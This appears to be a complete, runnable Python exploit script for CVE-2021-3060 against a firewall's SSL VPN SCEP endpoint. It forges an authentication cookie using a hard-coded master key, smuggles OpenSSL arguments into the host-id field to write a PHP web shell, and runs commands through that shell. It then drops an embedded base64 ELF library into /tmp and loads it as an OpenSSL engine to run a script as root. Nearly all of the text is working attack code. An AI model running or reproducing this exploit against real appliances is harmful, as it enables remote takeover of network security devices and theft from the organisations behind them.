from hashlib import md5, sha1 from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes from cryptography.hazmat.backends import default_backend import base64 import sys import time import requests DEFAULT_MASTERKEY = b'p1a2l3o4a5l6t7o8' lib = base64.b64decode("f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAAgAAAAYAAAAYAAAAAAAAAFgAAAAAAAAAcnF1ICgtOAACADH2Vki7L3RtcC9oYXhTVF/37rA7DwUBAAAABwAAAAUAAAAAAAAABQAAAAAAAAAMAAAAAAAAADoAAAAAAAAABgAAAAAAAAAAAAAAAAAAAA==") cmd = """#!/bin/bash id>/var/appweb/sslvpndocs/test """ class PanCrypt: def __init__(self, key=DEFAULT_MASTERKEY): backend = default_backend() key = self._derivekey(key) self.c = Cipher(algorithms.AES(key), modes.CBC(b'\0' * 16), backend=backend) def _derivekey(self, key): salt = b'\x75\xb8\x49\x83\x90\xbc\x2a\x65\x9c\x56\x93\xe7\xe5\xc5\xf0\x24' # md5("pannetwork") return md5(key + salt).digest() * 2 def _pad(self, d): plen = 16 - (len(d) % 16) return d + bytes([plen] * plen) def _encrypt(self, data): e = self.c.encryptor() return e.update(self._pad(data)) + e.finalize() def encrypt(self, data): v = base64.b64encode(b'AQ==') # version 1 hash = base64.b64encode(sha1(data).digest()) ct = base64.b64encode(self._encrypt(data)) return b'-' + v + hash + ct def scepRequest(host, spn, hostid, email="a@a.a", user="test"): expiry = bytes(str(int(time.time()) + 1000000), 'utf-8') user_bytes = user.encode('utf-8') # Convert user to bytes hostid_bytes = hostid.encode('utf-8') # Convert hostid to bytes token_pt = b":".join((expiry, user_bytes, hostid_bytes)) token = PanCrypt().encrypt(token_pt) payload = "scep-profile-name={}&user-email={}&user={}&host-id={}&appauthcookie={}".format(spn, email, user, hostid, token.decode('utf-8')) r = requests.get(host, data=payload, headers={"content-type": "application/x-www-form-urlencoded"}, verify=False) return r def makewebshell(host, spn): # webshell created: execute commands as `nobody` with GET /a.php?0=cmd hostid = 'test" "-e" "yes" "-h" "" "-c" "RSA:512 -text -out /var/appweb/sslvpndocs/a.php' return scepRequest(host + "/sslmgr", spn, hostid) def runcmd(host, cmd): # run a command with the low-priv webshell cmd = requests.utils.quote(cmd) return requests.get(host + "/a.php?0=" + cmd, verify=False) def runlib(host, spn): # load /tmp/lib.so as an openssl engine, with openssl running as root hostid = 'test" "-e" "yes" "-m" "sha1 -engine /tmp/lib.so' return scepRequest(host + "/sslmgr", spn, hostid) if __name__ == "__main__": if len(sys.argv) < 3: print("usage: cve-2021-3060.py ") host = sys.argv[1] spn = sys.argv[2] if len(sys.argv) > 2: spn = sys.argv[2] if "http" not in host: host = "https://" + host makewebshell(host, spn) print(runcmd(host, "id").text) runcmd(host, "echo {}|base64 -d>/tmp/lib.so".format(lib)) #runcmd(host, "echo {}|base64 -d>/tmp/hax".format(cmd.decode('utf-8'))) runcmd(host, "echo {}|base64 -d>/tmp/hax".format(cmd)) runcmd(host, "chmod 777 /tmp/hax") runlib(host, spn) print(requests.get(host + "/test", verify=False).text)